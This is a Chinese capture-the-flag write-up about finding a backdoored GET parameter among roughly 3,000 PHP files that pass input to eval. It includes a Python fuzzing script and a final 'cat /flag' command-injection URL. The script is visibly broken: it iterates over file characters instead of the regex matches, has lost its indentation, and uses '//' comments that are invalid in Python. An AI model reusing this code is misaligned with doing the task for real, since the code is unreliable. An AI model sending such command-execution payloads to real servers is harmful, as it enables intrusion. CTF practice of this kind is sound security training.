考点:脚本编写
根据提示,查看源码 url+www.tar.gz,下载压缩包,发现是3002个php文件
随便打开一个发现里面有传参$_GET()函数,里面有的直接接了eval,相当于直接执行了参数里面的值,但是经过审计代码发现,里面的很多参数都已经在代码里被赋值,所以我们需要从三千多个文件里找到有用的$_GET(),很显然通过人工寻找有一定难度,那么就需要我们编写脚本、
import re
import os
import requests
file=os.listdir('D:\PHPS\phpStudy_64\phpstudy_pro\WWW\src')
zz=re.compile(r'(?<=_GET\[\').*(?=\'\])') //正则匹配
for i in file:
url="http://localhost/src/"+i
f=open("D:\\PHPS\\phpStudy_64\\phpstudy_pro\\WWW\\src\\"+i) //注意路径,用\\
data=f.read()
f.close()
res=zz.findall(data)
for j in data:
payload=url+"?"+j+"=echo 123456"
ret=requests.get(payload)
print(payload)
if "123456" in ret.text:
print(payload)
exit(1)
这个需要跑蛮久的
再传参即可得到flag
http://4d557817-895f-45fd-96ae-db6a6de6389c.node4.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag